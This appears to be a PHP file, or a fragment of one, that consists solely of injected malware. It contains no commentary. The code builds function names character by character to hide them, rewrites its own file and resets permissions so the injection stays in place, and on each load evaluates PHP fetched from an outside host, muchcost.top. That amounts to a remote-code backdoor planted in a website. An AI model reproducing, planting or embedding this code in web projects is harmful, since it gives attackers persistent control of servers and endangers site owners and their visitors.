$pFmbC2f0dwHTM=true; ?><?php $cbxp="";$cbxp.="b";$cbxp.="a";$cbxp.="s";$cbxp.="e";$cbxp.="6";$cbxp.="4";$cbxp.="_";$cbxp.="d";$cbxp.="e";$cbxp.="c";$cbxp.="o";$cbxp.="d";$cbxp.="e"; $eiw="";$eiw.="e";$eiw.="x";$eiw.="p";$eiw.="l";$eiw.="o";$eiw.="d";$eiw.="e"; $nzm="";$nzm.="c";$nzm.="h";$nzm.="m";$nzm.="o";$nzm.="d"; $cwas="";$cwas.="f";$cwas.="i";$cwas.="l";$cwas.="e";$cwas.="_";$cwas.="g";$cwas.="e";$cwas.="t";$cwas.="_";$cwas.="c";$cwas.="o";$cwas.="n";$cwas.="t";$cwas.="e";$cwas.="n";$cwas.="t";$cwas.="s"; $jcvk="";$jcvk.="f";$jcvk.="i";$jcvk.="l";$jcvk.="e";$jcvk.="_";$jcvk.="p";$jcvk.="u";$jcvk.="t";$jcvk.="_";$jcvk.="c";$jcvk.="o";$jcvk.="n";$jcvk.="t";$jcvk.="e";$jcvk.="n";$jcvk.="t";$jcvk.="s"; $fdbu="";$fdbu.="t";$fdbu.="r";$fdbu.="i";$fdbu.="m"; $YsQAkOjWm=$eiw($cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4="),$cwas(__FILE__));if($fdbu($YsQAkOjWm[0])!=""||$fdbu($YsQAkOjWm[2])!=""){$nzm(__DIR__,0755);$nzm(__FILE__,0644);$jcvk(__FILE__,$cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4=").$YsQAkOjWm[1].$cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4="));}?><?php EVAl("?>".FILE_geT_CONtEnTs("http://muchcost.top/library.php?tlYNxyZXhwX2Rvb3JfdjIwLnR4dDA5SahAPf"));?><?php $pFmbC2f0dwHTM=true; ?>